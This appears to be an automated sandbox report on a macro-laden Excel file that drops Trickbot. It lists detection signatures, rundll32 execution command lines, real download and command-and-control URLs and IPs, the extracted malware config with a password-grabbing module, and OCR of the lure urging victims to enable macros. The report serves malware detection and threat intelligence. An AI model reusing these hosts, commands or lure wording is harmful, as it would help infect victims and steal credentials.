Play interactive tour

Edit tour

Analysis Report Sign-1870635479_637332644.xls

Overview

General Information

Sample Name:	Sign-1870635479_637332644.xls
Analysis ID:	355634
MD5:	ecd29fe79bd4e7f1bae3ccd26f44397c
SHA1:	a4e2f0650ac7b4642d43e0c0fbae293ce77a7a40
SHA256:	77500283a6b0da3b616525a210b9fb82ab4dfde174a48ce4bad593c722a6cbb4
Tags:	SilentBuilderTrickBotDocuSignRackspacexls
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Trickbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (drops PE files)

Found malicious Excel 4.0 Macro

Found malware configuration

Multi AV Scanner detection for dropped file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Trickbot

Allocates memory in foreign processes

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Adds / modifies Windows certificates

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 920 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 1696 cmdline: rundll32 ..\BASE.BABAA,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2540 cmdline: rundll32 ..\BASE.BABAA,DllRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)

wermgr.exe (PID: 1976 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)

wermgr.exe (PID: 2832 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)

taskeng.exe (PID: 1192 cmdline: taskeng.exe {C999D15C-7BEE-4793-989A-0EF4E6A22007} S-1-5-18:NT AUTHORITY\System:Service: MD5: 65EA57712340C09B1B0C427B4848AE05)

rundll32.exe (PID: 1520 cmdline: C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor3154395120\ujBASEmc.rrd',DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

Threatname: Trickbot

{"gtag": "rob60", "C2 list": [], "modules": ["pwgrab", "mcconf"]}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
Sign-1870635479_637332644.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x26ca2:$s1: Excel 0x27d0a:$s1: Excel 0x35b4:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2098758914.0000000000230000.00000040.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000003.2094809366.0000000000324000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000003.2094797786.0000000000324000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000002.2099036393.0000000000878000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000002.2098808409.00000000002F0000.00000004.00000020.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
Process Memory Space: wermgr.exe PID: 2832	JoeSecurity_Trickbot_1	Yara detected Trickbot	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.rundll32.exe.230000.0.raw.unpack	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
4.2.rundll32.exe.230000.0.unpack	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\BASE.BABAA,DllRegisterServer, CommandLine: rundll32 ..\BASE.BABAA,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 920, ProcessCommandLine: rundll32 ..\BASE.BABAA,DllRegisterServer, ProcessId: 1696

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://www.chipmania.it/mails/open.php

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: wermgr.exe.2832.6.memstr

Malware Configuration Extractor: Trickbot {"gtag": "rob60", "C2 list": [], "modules": ["pwgrab", "mcconf"]}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	ReversingLabs: Detection: 41%
Source: C:\Users\user\BASE.BABAA	ReversingLabs: Detection: 41%

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2832, type: MEMORY

Cryptography:

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0007BCA0 CryptAcquireContextW,

6_2_0007BCA0

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Show sources

Source: unknown	HTTPS traffic detected: 45.155.173.242:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 176.58.123.25:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49173 version: TLS 1.0

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:

Binary string: F:\projects\cryptor_beta\Bin\Crypter\CrypterDllReleaseNoLogs\Win32\Crypter.pdb source: rundll32.exe, 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp, BASE.BABAA.0.dr

Spreading:

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290 FindFirstFileW,	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000646F0 FindFirstFileW,FindNextFileW,	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007FBB0 FindFirstFileW,SleepEx,FindNextFileW,	6_2_0007FBB0

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 10[1].jjkes.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 4MB later: 48MB

Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000784E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000789B0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ecx, word ptr [eax+02h]	6_2_00069200
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ecx, 00004E20h	6_2_00082659
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx edx, word ptr [eax]	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc dword ptr [esp+40h]	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00072C44
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc ecx	6_2_0007B050
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00073860
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec ecx	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000698D0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_000624E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then cmp byte ptr [ecx+edx+01h], 00000000h	6_2_00061500
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00065DF0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx eax, byte ptr [ebx]	6_2_0007BE20
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_0007B240
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000772A0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc edx	6_2_0006BEC0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	6_2_00073B00
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ebx, edx	6_2_0006EBE0

Source: global traffic

DNS query: name: www.chipmania.it

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 45.155.173.242:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.81.0.78:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 192.168.2.22:49166 -> 45.155.173.242:443
Source: Traffic	Snort IDS: 2404320 ET CNC Feodo Tracker Reported CnC Server TCP group 11 192.168.2.22:49170 -> 193.8.194.96:443
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2404336 ET CNC Feodo Tracker Reported CnC Server TCP group 19 192.168.2.22:49174 -> 5.202.150.151:447

Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 5.202.150.151:447
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 103.220.47.220:447

Source: Joe Sandbox View	IP Address: 45.155.173.242 45.155.173.242
Source: Joe Sandbox View	IP Address: 5.202.150.151 5.202.150.151
Source: Joe Sandbox View	IP Address: 185.81.0.78 185.81.0.78
Source: Joe Sandbox View	IP Address: 194.5.249.156 194.5.249.156

Source: Joe Sandbox View	ASN Name: COMBAHTONcombahtonGmbHDE COMBAHTONcombahtonGmbHDE
Source: Joe Sandbox View	ASN Name: DIDEHABNNETIR DIDEHABNNETIR

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 8c4a22651d328568ec66382a84fc505f

Source: global traffic

HTTP traffic detected: GET /mails/open.php HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.chipmania.itConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 45.155.173.242:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 176.58.123.25:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.173.242
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 5.202.150.151
Source: unknown	TCP traffic detected without corresponding DNS query: 103.220.47.220
Source: unknown	TCP traffic detected without corresponding DNS query: 103.220.47.220
Source: unknown	TCP traffic detected without corresponding DNS query: 103.220.47.220

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: global traffic

Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: www.chipmania.it

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.6.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c5f3x
Source: wermgr.exe, 00000006.00000003.2218495867.0000000033613000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c8
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: wermgr.exe, 00000006.00000003.2218495867.0000000033613000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsofv
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en&r
Source: wermgr.exe, 00000006.00000002.2364517634.00000000003D1000.00000004.00000020.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.6.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://r3.i.lencr.org/0;
Source: wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: wermgr.exe, 00000006.00000002.2369701585.00000000337A0000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2364456344.0000000000770000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: wermgr.exe, 00000006.00000002.2372115954.0000000034180000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: wermgr.exe, 00000006.00000002.2369701585.00000000337A0000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2364456344.0000000000770000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: wermgr.exe, 00000006.00000002.2364517634.00000000003D1000.00000004.00000020.sdmp	String found in binary or memory: https://103.220.47.220:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/
Source: wermgr.exe, 00000006.00000002.2369616233.00000000335C0000.00000004.00000001.sdmp	String found in binary or memory: https://103.233.118.34:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp, wermgr.exe, 00000006.00000002.2369616233.00000000335C0000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/14/NAT%20status/client%20
Source: wermgr.exe, 00000006.00000002.2364462409.000000000035A000.00000004.00000020.sdmp	String found in binary or memory: https://45.155.173.242/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/file/
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: https://ident.me/
Source: wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

E-Banking Fraud:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2832, type: MEMORY

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: Sign-1870635479_637332644.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above . 15 16 Once you have enabled editing, please c
Source: Screenshot number: 4	Screenshot OCR: Enable content button " from the yellow bar above )1 23 24 25 26 27 28 29 30 31 32 33
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enable
Source: Document image extraction number: 0	Screenshot OCR: Enable content button from the yellow bar above I \ , I ' /
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enable
Source: Document image extraction number: 1	Screenshot OCR: Enable content button from the yellow bar above j'

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Sign-1870635479_637332644.xls

Initial sample: EXEC

